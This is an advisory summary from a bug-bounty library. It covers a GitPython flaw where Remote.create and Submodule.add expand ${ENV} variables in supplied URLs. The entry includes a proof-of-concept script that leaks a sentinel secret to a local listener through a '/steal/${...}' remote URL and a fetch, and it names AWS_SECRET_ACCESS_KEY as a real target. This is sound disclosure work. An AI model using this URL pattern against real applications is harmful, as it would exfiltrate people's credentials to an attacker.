# GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

GitPython's Remote.create still expands ${ENV} vars in attacker-supplied URLs, leaking process secrets into .git/config and to the attacker host on fetch.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: alimony, nikpivkin
- Disclosed: 2026-07-24
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-94p4-4cq8-9g67
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-94p4-4cq8-9g67
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Python library GitPython (Remote.create / Submodule.add URL handling)
**Root cause:** The prior fix added expand_vars=False only to Repo._clone(), leaving Git.polish_url()'s default expand_vars=True in place for Remote.create and Submodule.add, so os.path.expandvars() runs on attacker-influenced URLs before check_unsafe_protocols().
**Steps:**
1. Install gitpython==3.1.53 in a venv.
2. Set a sentinel env var, e.g. `os.environ["GP_SENTINEL_SECRET"] = SENTINEL`.
3. Call `repo.create_remote("evil", "http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git")`.
4. Observe `repo.remote("evil").url` contains the expanded secret in .git/config.
5. Call `remote.fetch()` and observe the request path `/steal/<secret>/repo.git/info/refs?service=git-upload-pack` reaching the attacker listener.
**How found:** Reporter reviewed the incomplete fix for GHSA-rwj8-pgh3-r573, noticed expand_vars=False was applied only at Repo._clone(), and audited other Git.polish_url() callers to find Remote.create and Submodule.add still using the dangerous default.
**Exploitation:** Attacker supplies a URL containing `${AWS_SECRET_ACCESS_KEY}` (or similar) to an 'import repository from URL' feature backed by Repo.create_remote()/Remote.add(). The library expands the variable, persists it in .git/config, and the next fetch/pull transmits it in the HTTP path to the attacker's host.
**Escalation:** Same primitive also writes the expanded secret into .gitmodules (a tracked, committable file) via Submodule.add(), enabling further leakage through commits.
**Insight:** When a fix adds a safe-mode parameter with a dangerous default, enumerate every caller of the shared helper rather than patching the one reported sink; sibling public APIs (create_remote, submodule add) often share the same primitive.

## Proof of concept (copied exactly from the original report)

**PoC script exfiltrating env var via create_remote**

```
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

# Local HTTP server standing in for attacker.example.
captured = []


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass


srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port


def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")


print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
```

**Vulnerable Remote.create polish_url call**

```
url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config
```

